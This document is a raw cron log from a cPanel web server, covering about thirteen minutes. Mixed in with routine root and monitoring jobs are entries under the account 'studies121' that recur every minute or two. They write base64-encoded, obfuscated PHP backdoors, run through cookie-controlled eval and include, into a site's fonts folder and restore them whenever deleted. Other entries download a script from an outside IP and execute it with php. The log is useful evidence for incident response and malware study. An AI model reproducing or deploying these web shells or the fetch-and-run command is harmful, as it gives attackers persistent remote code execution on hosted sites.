Sep  4 11:46:01 ip-184-168-122-23 CROND[17132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:47:01 ip-184-168-122-23 CROND[17269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:47:01 ip-184-168-122-23 CROND[17270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:47:01 ip-184-168-122-23 CROND[17273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:47:01 ip-184-168-122-23 CROND[17274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:48:01 ip-184-168-122-23 CROND[17366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:48:01 ip-184-168-122-23 CROND[17370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:48:01 ip-184-168-122-23 CROND[17369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:48:01 ip-184-168-122-23 CROND[17371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:48:01 ip-184-168-122-23 CROND[17368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:49:01 ip-184-168-122-23 CROND[17483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:49:01 ip-184-168-122-23 CROND[17484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:49:01 ip-184-168-122-23 CROND[17487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:49:01 ip-184-168-122-23 CROND[17488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:50:01 ip-184-168-122-23 CROND[17585]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:50:01 ip-184-168-122-23 CROND[17591]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 11:50:01 ip-184-168-122-23 CROND[17588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:50:01 ip-184-168-122-23 CROND[17589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:50:01 ip-184-168-122-23 CROND[17586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:50:01 ip-184-168-122-23 CROND[17593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:50:01 ip-184-168-122-23 CROND[17592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:50:01 ip-184-168-122-23 CROND[17590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:50:01 ip-184-168-122-23 CROND[17587]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:51:01 ip-184-168-122-23 CROND[17785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:51:01 ip-184-168-122-23 CROND[17786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:51:01 ip-184-168-122-23 CROND[17787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:51:01 ip-184-168-122-23 CROND[17788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:52:01 ip-184-168-122-23 CROND[17874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:52:01 ip-184-168-122-23 CROND[17876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:52:01 ip-184-168-122-23 CROND[17877]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:52:01 ip-184-168-122-23 CROND[17875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:52:01 ip-184-168-122-23 CROND[17878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:53:01 ip-184-168-122-23 CROND[17958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:53:01 ip-184-168-122-23 CROND[17959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:53:01 ip-184-168-122-23 CROND[17961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:53:01 ip-184-168-122-23 CROND[17960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:54:01 ip-184-168-122-23 CROND[18061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:54:01 ip-184-168-122-23 CROND[18064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:54:01 ip-184-168-122-23 CROND[18066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:54:01 ip-184-168-122-23 CROND[18065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:54:01 ip-184-168-122-23 CROND[18067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:55:01 ip-184-168-122-23 CROND[18157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:55:02 ip-184-168-122-23 CROND[18158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:55:02 ip-184-168-122-23 CROND[18160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:55:02 ip-184-168-122-23 CROND[18161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:55:02 ip-184-168-122-23 CROND[18162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:55:02 ip-184-168-122-23 CROND[18164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:56:01 ip-184-168-122-23 CROND[18274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:56:01 ip-184-168-122-23 CROND[18277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:56:01 ip-184-168-122-23 CROND[18275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:56:01 ip-184-168-122-23 CROND[18278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:56:01 ip-184-168-122-23 CROND[18276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:57:01 ip-184-168-122-23 CROND[18507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:57:01 ip-184-168-122-23 CROND[18508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:57:01 ip-184-168-122-23 CROND[18510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:57:01 ip-184-168-122-23 CROND[18509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:58:01 ip-184-168-122-23 CROND[18649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:58:01 ip-184-168-122-23 CROND[18650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:58:01 ip-184-168-122-23 CROND[18651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:58:01 ip-184-168-122-23 CROND[18652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:58:01 ip-184-168-122-23 CROND[18653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:59:01 ip-184-168-122-23 CROND[18809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:59:01 ip-184-168-122-23 CROND[18811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
